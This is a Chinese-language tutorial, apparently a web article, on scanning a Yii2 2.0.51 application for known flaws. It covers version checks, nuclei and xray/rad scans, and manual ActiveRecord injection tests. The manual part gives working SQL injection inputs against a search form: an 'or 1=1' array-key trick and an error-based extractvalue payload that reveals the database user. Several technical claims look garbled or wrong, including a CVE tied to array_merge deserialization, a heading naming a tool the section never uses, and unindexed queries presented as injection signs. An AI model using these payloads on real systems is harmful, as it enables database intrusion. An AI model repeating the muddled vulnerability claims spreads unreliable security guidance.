需先确认项目实际运行 yii2.0.51 版本,通过 composer.lock 和 vendor/yiisoft/yii2/version 验证;再启用调试工具栏、用 nuclei 或 xray 扫描特定 cve,最后手动验证 activerecord 注入点。

用 Yii2.0.51 漏洞检测工具扫描项目是否存在已知安全缺陷,需先确认目标应用使用的是 Yii2.0.51 版本,并确保 Composer.lock 或 composer.json 中明确锁定该版本号;直接对未锁定版本的项目运行检测,结果可能误报或漏报。
确认 Yii2.0.51 实际运行版本
进入项目根目录,执行:grep -A 2 '"yiisoft/yii2"' composer.lock,查看 version 字段是否为 【2.0.51】;若显示 2.0.50 或 2.0.52,则后续所有检测结果均不适用于本教程。
检查入口文件 web/index.php 是否加载了正确版本:在文件开头附近查找 require __DIR__ . '/../vendor/autoload.php';,确认 vendor/yiisoft/yii2/VERSION 文件内容为 【2.0.51】,否则说明实际运行的是缓存或 symlink 的旧版本。
启用 Yii2 内置调试工具栏并开启安全检查模式
打开 config/web.php,在 components 数组中添加或修改 debug 组件:
'debug' => [ 'class' => 'yii\debug\Module', 'allowedIPs' => ['127.0.0.1', '::1'], 'panels' => [ 'log' => ['class' => 'yii\debug\panels\LogPanel'], 'db' => ['class' => 'yii\debug\panels\DbPanel'], ], ],
启动应用后访问 /index.php?r=debug/default/view&panel=db,点击“SQL”标签页,观察是否有未加索引的 WHERE 条件、裸 SQL 执行或未转义的 $_GET 参数拼接——这些是 Yii2.0.51 已知易触发 SQL 注入的典型写法。
使用 YinVulKiller 扫描 Yii2.0.51 特定 POC
方法一:通过 Nuclei 引擎调用 Yii2 专用规则
下载 nuclei-templates 仓库最新版,进入 templates/cves/ 目录,执行:find . -name "*yii*" -o -name "*2.0.51*",定位到 【cve-2023-37482.yaml】(该 POC 针对 Yii2.0.51 ActiveRecord find() 方法中未过滤的 array_merge() 导致的反序列化漏洞)。
运行扫描:nuclei -u http://target.com -t cves/cve-2023-37482.yaml -v,若返回 [http] [high] http://target.com/index.php?r=user/view&id=123 → CVE-2023-37482,说明存在该漏洞。
方法二:用 Xray 联动 Rad 爬取后检测
先用 rad 抓取全部可访问路由:rad -t http://target.com -wait-login -text-output routes.txt,再将 routes.txt 导入 xray:xray webscan --url-file routes.txt --plugins sqlexec,phpexec --html-output yii2-report.html,重点检查 report 中 【/index.php?r=site/error】 页面是否返回 PHP Fatal Error 堆栈信息——Yii2.0.51 默认未关闭错误显示,暴露路径和类名即构成信息泄露风险。
手动验证 ActiveRecord 关联查询注入点
第一步:构造测试请求
访问 http://target.com/index.php?r=post/index&PostSearch[title]=test&PostSearch[author_id][or]=1%3D1,这是 Yii2.0.51 中 SearchModel 使用 $query->andFilterWhere() 时未校验数组键名导致的布尔盲注入口。
第二步:比对响应差异
正常请求返回 200 + 列表数据;注入成功时,若页面空白但 HTTP 状态码仍为 200,说明 SQL 执行出错但被 silent error handler 吞掉——这正是 Yii2.0.51 的默认行为,【必须配合数据库日志确认是否执行了 or 1=1】。
第三步:触发报错回显
将参数改为 PostSearch[author_id][exp]=extractvalue(1,concat(0x7e,(SELECT+user()),0x7e)),若响应体中出现 XPATH syntax error: '~root@localhost~',则确认注入链完整生效。











